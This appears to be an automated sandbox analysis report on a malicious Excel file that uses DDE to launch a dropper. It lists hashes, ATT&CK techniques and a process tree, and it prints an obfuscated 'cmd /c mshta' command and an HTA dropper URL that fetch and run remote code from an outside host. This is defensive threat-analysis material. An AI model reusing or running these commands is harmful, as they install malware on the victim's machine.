90ae4baf8fd355e3c511ec88026090812318bf193fb68ccdb348f21c3d4f08b1

Analysis

max time kernel
122s
max time network
123s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
16-11-2024 08:47

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General

Target

6407591df6ce61f946e24715faa6fba1b1f3221e2baf22f6c4f5a64f1ea98eb5.xls
Size

71KB
MD5

21fc12ef8a4a4ba5b38a303fa7e70c08
SHA1

5700a2231371b289eae19ce62e1a73457ee582c4
SHA256

6407591df6ce61f946e24715faa6fba1b1f3221e2baf22f6c4f5a64f1ea98eb5
SHA512

8200f14c0a8023bb74b39796f7859258ef67a21a5f81704f82315695409795fe724ac8ca81513a95d50d169c824532e43865846ce42b0e541366309ace849654
SSDEEP

1536:bpEk3hbdlylKsgqopeJBWhZFGkE+cL2NdA8eXZiozeOgXVZKyaZpvyR1kZkJvU+:bCk3hbdlylKsgqopeJBWhZFGkE+cL2Nr

Score

10^/10

discovery

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://185.7.214.7/fer/fe2.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	1896	2792	cmd.exe	EXCEL.EXE

Blocklisted process makes network request 2 IoCs

Processes:

mshta.exe

flow pid process

4 2072 mshta.exe
7 2072 mshta.exe

flow	pid	process
4	2072	mshta.exe
7	2072	mshta.exe

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

cmd.exemshta.exeEXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EXCEL.EXE

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry
T1012

System Information Discovery
T1082

Processes:

EXCEL.EXE

description ioc process

Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE
Modifies Internet Explorer settings 1 TTPs 1 IoCs
adware spyware

Modify Registry
T1112

Processes:

mshta.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\Main mshta.exe
Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

2792 EXCEL.EXE
Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

EXCEL.EXE

pid process

2792 EXCEL.EXE
2792 EXCEL.EXE
2792 EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

pid	process
2792	EXCEL.EXE

pid	process
2792	EXCEL.EXE
2792	EXCEL.EXE
2792	EXCEL.EXE

Suspicious use of WriteProcessMemory 8 IoCs

Processes:

EXCEL.EXEcmd.exe

description	pid	process	target process
PID 2792 wrote to memory of 1896	2792	EXCEL.EXE	cmd.exe
PID 2792 wrote to memory of 1896	2792	EXCEL.EXE	cmd.exe
PID 2792 wrote to memory of 1896	2792	EXCEL.EXE	cmd.exe
PID 2792 wrote to memory of 1896	2792	EXCEL.EXE	cmd.exe
PID 1896 wrote to memory of 2072	1896	cmd.exe	mshta.exe
PID 1896 wrote to memory of 2072	1896	cmd.exe	mshta.exe
PID 1896 wrote to memory of 2072	1896	cmd.exe	mshta.exe
PID 1896 wrote to memory of 2072	1896	cmd.exe	mshta.exe

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\6407591df6ce61f946e24715faa6fba1b1f3221e2baf22f6c4f5a64f1ea98eb5.xls
1⤵
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2792
- C:\Windows\SysWOW64\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe2.html
  2⤵
  - Process spawned unexpected child process
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1896
- - C:\Windows\SysWOW64\mshta.exe
    mshta http://0xb907d607/fer/fe2.html
    3⤵
    - Blocklisted process makes network request
    - System Location Discovery: System Language Discovery
    - Modifies Internet Explorer settings
    PID:2072

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2792-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2792-1-0x000000007264D000-0x0000000072658000-memory.dmp

Filesize
44KB

Download
memory/2792-2-0x000000007264D000-0x0000000072658000-memory.dmp

Filesize
44KB

Download